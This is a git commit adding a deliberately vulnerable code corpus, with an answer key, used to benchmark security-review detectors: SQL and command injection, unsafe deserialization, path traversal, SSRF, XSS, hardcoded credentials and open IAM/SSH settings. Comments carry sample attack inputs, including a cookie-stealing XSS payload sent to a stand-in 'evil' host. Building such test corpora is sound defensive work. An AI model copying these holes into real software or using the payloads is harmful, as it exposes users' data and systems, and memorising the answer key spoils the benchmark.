feat(canary): add anti-complacency recall-floor corpus + repo skip marker

Adds canary/ (the planted-vuln corpus from the local-only security-review-testbed,
answer-revealing comments stripped so it measures real detection) and canary-meta/
(KEY.md ground truth + CANARY_FLOOR=8, kept OUT of canary/ so detectors never read it).
One provider-pattern secret (sk_live_) was sanitized to a non-provider hardcoded key so
it stays a CWE-798 finding without tripping push protection.

Adds a root .security-review-skip so the org-wide sweep and the local pre-push gate skip
this repo's intentional vuln/fixture content; the nightly sweep scans canary/ directly as
its recall floor. 20 planted vulns (19 crit/high), 2 decoys, 3 traps.
This commit is contained in:
Adam Moussa 2026-06-29 12:10:54 -04:00
parent 3cf9bb7652
commit 094a253c37
No known key found for this signature in database
10 changed files with 355 additions and 0 deletions

9
.security-review-skip Normal file
View file

@ -0,0 +1,9 @@
This repo is excluded from the org-wide security sweep and the local git pre-push gate.
Reason: it intentionally contains secret-shaped / deliberately-vulnerable content that would
otherwise always ALARM — the `canary/` anti-complacency corpus (planted vulns, answer key in
`canary-meta/`) and the checker test fixtures under `checkers/fixtures/`.
The nightly sweep scans `canary/` DIRECTLY as its recall-floor check, bypassing this skip marker
(that is the whole point of the canary). Repos skipped via a committed marker are logged in the
sweep report for auditability.

1
canary-meta/CANARY_FLOOR Normal file
View file

@ -0,0 +1 @@
8

52
canary-meta/KEY.md Normal file
View file

@ -0,0 +1,52 @@
# Canary answer key — anti-complacency recall floor
Ground truth for the `canary/` corpus. **Lives in `canary-meta/`, NOT in `canary/`**, so it is never in
the detector's scan scope — the nightly sweep points its agentic detectors at `canary/` only and reads
this file separately to score the run. Do not move this file under `canary/`.
The corpus is deliberately vulnerable code (Python Lambda, SAM IaC, React, Node, .NET) with the
answer-revealing comments stripped, so a run measures real detection, not comment-reading.
**Counts:** 20 planted vulns (of which **19 are confirmed critical/high** — only #4 PAN-in-logs is
MEDIUM), plus 2 safe decoys and 3 traps that must NOT be confirmed.
**`CANARY_FLOOR = 8`** (see `canary-meta/CANARY_FLOOR`) — PROVISIONAL. Max crit/high recall is 19; the
floor is set conservatively because this corpus has no comment hints and the cloud routine's native
agentic pass is uncalibrated. Re-tune up toward the observed steady-state recall after the first runs
report their numbers. A run that confirms FEWER than the floor in crit/high → COMPLACENCY ALARM.
| # | File | Location | CWE | Severity | What |
|---|---|---|---|---|---|
| 1 | src/payment_handler.py | `DB_DSN` / `INTERNAL_API_KEY` | CWE-798 | HIGH | Hardcoded prod DB creds + API key |
| 2 | src/payment_handler.py | `get_payment` query | CWE-89 | CRITICAL | SQL injection via `payment_id` f-string |
| 3 | src/payment_handler.py | `get_payment` (no owner check) | CWE-639 | HIGH | IDOR — caller reads any payment |
| 4 | src/payment_handler.py | `logger.info(... card ...)` | CWE-532 | MEDIUM | Full PAN to CloudWatch logs |
| 5 | src/webhook_handler.py | `handle_webhook` | CWE-347 | CRITICAL | Webhook HMAC never verified |
| 6 | src/webhook_handler.py | `fetch_vendor_logo` | CWE-918 | HIGH | SSRF — unvalidated user URL |
| 7 | src/crypto_utils.py | `JWT_SECRET` | CWE-798/321 | HIGH | Hardcoded session signing secret |
| 8 | src/crypto_utils.py | `hash_password` | CWE-327/916 | HIGH | Unsalted MD5 password hashing |
| 9 | src/crypto_utils.py | `load_session` | CWE-502 | CRITICAL | Insecure deserialization (pickle on cookie) |
| 10 | src/crypto_utils.py | `read_report` | CWE-22 | HIGH | Path traversal on report name |
| 11 | infra/template.yaml | `PaymentFn` policy | CWE-732 | HIGH | IAM `Action:"*" Resource:"*"` |
| 11b | infra/template.yaml | `ReportsBucket` | CWE-284 | HIGH | Public-access block disabled on PII bucket |
| 11c | infra/template.yaml | `AdminSG` | CWE-284 | HIGH | SSH 0.0.0.0/0 |
| 12 | web/PaymentForm.jsx | `dangerouslySetInnerHTML` | CWE-79 | HIGH | DOM XSS via vendor `note` |
| N1 | src/node/orders_api.js | `GET /orders/:id` query | CWE-89 | CRITICAL | SQL injection — `id` concatenated |
| N2 | src/node/orders_api.js | `GET /orders/export` | CWE-78 | CRITICAL | Command injection via `file` into `exec` |
| N3 | src/node/orders_api.js | `db` config / `JWT_SECRET` | CWE-798 | HIGH | Hardcoded DB password + JWT secret |
| N4 | src/node/orders_api.js | `GET /orders/:id` (no owner check) | CWE-639 | HIGH | IDOR — any user reads any order |
| N5 | src/node/orders_api.js | `GET /orders/invoice` | CWE-22 | HIGH | Path traversal on `invoice` name |
| D1 | src/dotnet/PaymentController.cs | `GetPayment` | CWE-89 | CRITICAL | SQL injection — `id` interpolated |
| D2 | src/dotnet/PaymentController.cs | `LoadSession` | CWE-502 | CRITICAL | Insecure deserialization (BinaryFormatter) |
| D3 | src/dotnet/PaymentController.cs | `ConnStr` | CWE-798 | HIGH | Hardcoded connection string w/ password |
| D4 | src/dotnet/PaymentController.cs | `HashPassword` | CWE-327 | HIGH | Unsalted MD5 password hashing |
**Decoys — must NOT be flagged:**
- `src/payment_handler.py::list_my_payments` — parameterized query, scoped to `caller`.
- `src/node/orders_api.js` `GET /my-orders` — parameterized query, scoped to `user_id`.
**Traps — must NOT be confirmed (test the verifier's kill path):**
- `src/payment_handler.py::payments_by_status` — f-string SQL, but `status` is allowlisted against
`ALLOWED_STATUSES` and `user_id` is parameterized. SQLi claim must be killed → unverified.
- `infra/template.yaml` `WebSG` — `0.0.0.0/0` on port 443 is normal public HTTPS; info at most.
- `src/dotnet/PaymentController.cs::ByStatus` — `status` passed as a `SqlCommand` parameter; safe.

View file

@ -0,0 +1,46 @@
AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31
Description: Payments service infrastructure.
Resources:
PaymentFn:
Type: AWS::Serverless::Function
Properties:
Runtime: python3.12
Handler: payment_handler.get_payment
Policies:
- Statement:
- Effect: Allow
Action: "*"
Resource: "*"
ReportsBucket:
Type: AWS::S3::Bucket
Properties:
BucketName: seahaven-payments-reports
PublicAccessBlockConfiguration:
BlockPublicAcls: false
BlockPublicPolicy: false
IgnorePublicAcls: false
RestrictPublicBuckets: false
AdminSG:
Type: AWS::EC2::SecurityGroup
Properties:
GroupDescription: payments admin
SecurityGroupIngress:
- IpProtocol: tcp
FromPort: 22
ToPort: 22
CidrIp: 0.0.0.0/0
WebSG:
Type: AWS::EC2::SecurityGroup
Properties:
GroupDescription: public web tier
SecurityGroupIngress:
- IpProtocol: tcp
FromPort: 443
ToPort: 443
CidrIp: 0.0.0.0/0

View file

@ -0,0 +1,24 @@
"""Auth/session/storage helpers."""
import hashlib
import os
import pickle
import base64
JWT_SECRET = "changeme-dev-secret"
def hash_password(password: str) -> str:
return hashlib.md5(password.encode()).hexdigest()
def load_session(cookie_value: str):
# A crafted cookie yields arbitrary code execution via __reduce__.
raw = base64.b64decode(cookie_value)
return pickle.loads(raw)
def read_report(report_name: str) -> bytes:
# report_name='../../etc/passwd' escapes the reports directory.
path = os.path.join("/var/app/reports", report_name)
with open(path, "rb") as fh:
return fh.read()

View file

@ -0,0 +1,59 @@
// Exercises the reviewer's recall on the .NET stack.
using System;
using System.Data.SqlClient;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Cryptography;
using System.Text;
using Microsoft.AspNetCore.Mvc;
namespace SeaHaven.Payments
{
[ApiController]
[Route("api/payments")]
public class PaymentController : ControllerBase
{
private const string ConnStr =
"Server=prod-pay.cluster-czaa.us-east-1.rds.amazonaws.com;Database=payments;User Id=app;Password=P@y-Pr0d-2026!;";
[HttpGet("{id}")]
public IActionResult GetPayment(string id)
{
using var conn = new SqlConnection(ConnStr);
conn.Open();
var cmd = new SqlCommand("SELECT * FROM Payments WHERE Id = '" + id + "'", conn);
using var reader = cmd.ExecuteReader();
// ?id=' OR '1'='1 returns every payment
return Ok(reader.HasRows);
}
[HttpGet("session")]
public IActionResult LoadSession()
{
var raw = Convert.FromBase64String(Request.Cookies["session"] ?? "");
var fmt = new BinaryFormatter();
using var ms = new MemoryStream(raw);
var obj = fmt.Deserialize(ms); // crafted payload → RCE
return Ok(obj.ToString());
}
[HttpPost("hash")]
public IActionResult HashPassword([FromBody] string password)
{
using var md5 = MD5.Create();
var hash = md5.ComputeHash(Encoding.UTF8.GetBytes(password));
return Ok(Convert.ToHexString(hash));
}
[HttpGet("by-status")]
public IActionResult ByStatus(string status)
{
using var conn = new SqlConnection(ConnStr);
conn.Open();
var cmd = new SqlCommand("SELECT Id FROM Payments WHERE Status = @status", conn);
cmd.Parameters.AddWithValue("@status", status);
using var reader = cmd.ExecuteReader();
return Ok(reader.HasRows);
}
}
}

View file

@ -0,0 +1,53 @@
// Server-side JS counterpart to the React web/PaymentForm.jsx, to exercise the
// reviewer's recall on the Node stack (payments-dashboard is Node/JS).
const express = require("express");
const mysql = require("mysql2");
const { exec } = require("child_process");
const path = require("path");
const app = express();
app.use(express.json());
const db = mysql.createConnection({
host: "prod-orders.cluster-czaa.us-east-1.rds.amazonaws.com",
user: "app",
password: "Pr0d-0rders-D8!secret",
database: "orders",
});
const JWT_SECRET = "sh-orders-signing-key-do-not-share-9f3a";
function currentUser(req) {
// pretend this decodes a verified JWT with JWT_SECRET
return { id: req.header("x-user-id"), role: req.header("x-user-role") };
}
app.get("/orders/:id", (req, res) => {
const sql = "SELECT * FROM orders WHERE id = " + req.params.id;
db.query(sql, (err, rows) => {
if (err) return res.status(500).json({ error: String(err) });
res.json(rows); // any authenticated user can read any order id
});
});
app.get("/orders/export", (req, res) => {
const name = req.query.file;
exec("zip -j /tmp/export.zip /var/orders/" + name, (err, stdout) => {
if (err) return res.status(500).json({ error: String(err) });
res.json({ ok: true, stdout });
});
});
app.get("/orders/invoice", (req, res) => {
const file = path.join("/var/invoices", req.query.invoice);
res.sendFile(file); // ?invoice=../../etc/passwd escapes /var/invoices
});
app.get("/my-orders", (req, res) => {
const me = currentUser(req).id;
db.query("SELECT id, total FROM orders WHERE user_id = ?", [me], (err, rows) => {
if (err) return res.status(500).json({ error: String(err) });
res.json(rows);
});
});
module.exports = app;

View file

@ -0,0 +1,62 @@
"""Payment lookup/refund Lambda handler."""
import json
import logging
import sqlite3
logger = logging.getLogger()
logger.setLevel(logging.INFO)
DB_DSN = "postgres://admin:S3aHaven_pr0d!@payments-db.internal:5432/payments"
INTERNAL_API_KEY = "internal-pay-live-9f2c8a1b4e7d6309f1a2b3c4d5e6f708"
def _conn():
return sqlite3.connect("payments.db")
def get_payment(event):
"""Look up a payment by id for the calling user."""
params = event.get("queryStringParameters") or {}
payment_id = params.get("payment_id", "")
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
cur = _conn().cursor()
row = cur.execute(
f"SELECT id, user_id, card_number, amount FROM payments WHERE id = '{payment_id}'"
).fetchone()
if not row:
return {"statusCode": 404, "body": "not found"}
# Any authenticated user can read any payment by guessing the id.
logger.info("served payment %s card=%s for caller=%s", row[0], row[2], caller)
return {"statusCode": 200, "body": json.dumps({"id": row[0], "amount": row[3]})}
def list_my_payments(event):
"""List the payments belonging to the calling user."""
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
cur = _conn().cursor()
rows = cur.execute(
"SELECT id, amount FROM payments WHERE user_id = ?", (caller,)
).fetchall()
return {"statusCode": 200, "body": json.dumps([{"id": r[0], "amount": r[1]} for r in rows])}
ALLOWED_STATUSES = {"paid", "pending", "failed", "refunded"}
def payments_by_status(event):
"""List payments filtered by status for the calling user."""
params = event.get("queryStringParameters") or {}
status = params.get("status", "")
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
if status not in ALLOWED_STATUSES:
return {"statusCode": 400, "body": "bad status"}
cur = _conn().cursor()
rows = cur.execute(
f"SELECT id, amount FROM payments WHERE status = '{status}' AND user_id = ?",
(caller,),
).fetchall()
return {"statusCode": 200, "body": json.dumps([{"id": r[0], "amount": r[1]} for r in rows])}

View file

@ -0,0 +1,34 @@
"""Inbound webhook + vendor-logo fetch Lambda."""
import json
import os
import urllib.request
import boto3
def handle_webhook(event):
"""Receive a payment-provider webhook and act on it."""
body = event.get("body", "")
# The provider sends an HMAC in this header; we never check it, so anyone who can
# POST to this URL can forge a 'payment.succeeded' event and trigger fulfillment.
_ignored_signature = event.get("headers", {}).get("X-Webhook-Signature")
payload = json.loads(body)
if payload.get("type") == "payment.succeeded":
boto3.client("sns").publish(
TopicArn=os.environ["FULFILL_TOPIC"],
Message=json.dumps({"order": payload["order_id"]}),
)
return {"statusCode": 200, "body": "ok"}
def fetch_vendor_logo(event):
"""Fetch a vendor-supplied logo URL and return its bytes."""
params = event.get("queryStringParameters") or {}
logo_url = params.get("url", "")
# Attacker passes http://169.254.169.254/latest/meta-data/iam/... to reach instance metadata.
with urllib.request.urlopen(logo_url) as resp:
data = resp.read()
return {"statusCode": 200, "headers": {"Content-Type": "image/png"}, "body": data}

View file

@ -0,0 +1,15 @@
import React from "react";
export default function PaymentForm({ note, amount }) {
// A note of `<img src=x onerror=fetch('//evil/?c='+document.cookie)>` executes in the user's session.
return (
<div className="payment-form">
<h2>Confirm payment of ${amount}</h2>
<div
className="vendor-note"
dangerouslySetInnerHTML={{ __html: note }}
/>
<button type="submit">Pay</button>
</div>
);
}